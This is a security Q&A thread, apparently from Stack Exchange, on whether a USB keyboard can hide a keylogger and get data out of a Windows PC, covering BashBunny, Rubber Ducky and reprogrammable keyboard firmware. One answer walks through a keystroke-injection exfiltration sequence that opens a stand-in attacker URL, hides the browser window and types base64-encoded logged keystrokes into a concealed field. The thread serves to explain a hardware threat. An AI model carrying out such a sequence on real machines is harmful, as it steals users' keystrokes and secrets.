I recently got an USB keyboard. I want to investigate if the microcontroller of the keyboard may host a keylogger and how could it interact with a Windows OS. My understanding is that, once Windows recognizes the USB device, it will get the appropriated driver from a secure Microsoft DB, so even if it is recording the key strokes, it cannot run by itself any SW to send them anywhere. I'm leaving aside the possibility of having a SW keylogger.

Is it possible that a USB keyboard could host a keylogger and that Windows could give it control to run a process to send the information to an address?

  • 1
    Yes it is possible - and you can buy them online. – Rory Alsop May 4 '17 at 20:08
  • but you can exfiltrate simply by pressing keys, which the KB can do legit... – dandavis May 5 '17 at 0:56

Regular USB key loggers that exfiltrate their data via Bluetooth or WiFi can easily be hidden inside a keyboard. The Bluetooth loggers require the attacker to come into range to dump their contents, but a WiFi based adapter that's pre-configured with a network key doesn't even require the attacker to be present to win. He can plug it in and let it sit there forever. Such keyloggers have been commercially available for many years. There are even open source implementations available from the NSA Playset project, which are devices designed to emulate the spy devices found in NSA's leaked and now infamous ANT catalog. But now, there are new options that are even more sophisticated.

The BashBunny is a commercially available hardware implementation of a USB chameleon that performs these kinds of tasks; the USB Rubber Ducky is simply an Evil Keyboard Simulator. The BashBunny works by running a small Linux computer that emulates generic USB keyboards, USB mass storage devices, USB serial ports, and/or USB network adapters. The emulated devices leverage the existing signed Windows drivers that are used by generic chipsets. Such devices can exfiltrate captured data via the victim PC simply by emulating a USB keyboard and typing instructions to send it elsewhere.

Here's a simplistic example of how they could exfiltrate data through the victim PC. Imagine that the hidden USB device contains a data logger, and records your secrets for a day or two. (The BashBunny does not contain a keylogger; it gets its data from scanning the host system. Of course it could install a key logger, then harvest the data at a later time.) When it's time to send the data, it generates USB messages that contain keystrokes, but the user isn't typing them. By hitting <Windows>R, then typing http://www.evilhax0rs.invalid/key_logger_dump_page.php* it can bring up a mostly empty-looking page with a hidden input box located so far down the screen that you need scroll bars to find it. Now, imagine the rogue keyboard hitting <Windows><Shift><Down-Arrow> to slide the browser window completely off the screen, hiding it from the user's view. Next, the fake keyboard starts typing all its logged keystrokes into the input box (base64 encoded, naturally), and hitting <Enter> when finished. Finally, after all the secrets have left the building, it types <Windows><Shift><Up-Arrow> to restore the browser, then quickly types <Control>F4 to close the tab. Even if the user noticed the windows popping up before sliding out of view, it can happen so fast the typical victim won't have the chance to figure out what's happening.

As I said, these are commercially available and open source products you can buy today; the source code for the evil devices and the "ducky scripts" that do the phantom typing are all hosted on github.

* not a real page.

|improve this answer|||||
  • I like John's resources because they're the most common and what you're likely to see in the field when it comes to a secondary device setup. I hopefully didn't overlap the answer. – Ori May 6 '17 at 14:24
  • Thanks. I know the rubber ducky attack. I was asking more if a keyboard could force a Windows machine to run a process. Let's assume there is no internet so the keyboard cannot connect to any URL and get a .exe, install it and run it. Could still the keyboard run a process in Windows? The only thing that comes to my mind, is a BIOS giving priority to USB ports to boot an OS, and then the keyboard would run a rootkit that would remain parallel to the OS. Then it would return the control to the Windows boot manager to proceed normally with the boot chain. – Alex May 7 '17 at 22:02

I'm reading the question and seeing "could the keyboard" and what comes to mind is that most keyboards I've cracked open have an Atmel32u[4,8,X] controller, these controllers are running a firmware that is field programmable (though they may not have easy to reach breakouts for jtag/uart.) There are open source projects (Openhardware) that keyboard hobbyists have been building now for the better part of a decade based around the Atmel32u series processors.

It would not be trivial, but is totally possible to write a keylogger using the open source codebases as a starting point (TMK being the most established: https://github.com/tmk/tmk_keyboard) You could then use the same methodology as a rubber ducky and send commands through the keyboard itself to create the agent that sends the keystrokes to the remote location.

Some keyboards firmware have been reverse engineered already (again Keyboard enthusiasts) and vendors have even tried encrypting the firmware packages to prevent this. Still, it's not outside the realm of possibility.

|improve this answer|||||
  • Even if you couldn't modify the firmware for the microcontroller, you could certainly attach another one which you do control to the traces and either intercept the matrix scan (if you want NKRO) or the USB output. – forest May 29 '19 at 4:24

Your Answer

By clicking “Post Your Answer”, you agree to our terms of service, privacy policy and cookie policy

Not the answer you're looking for? Browse other questions tagged or ask your own question.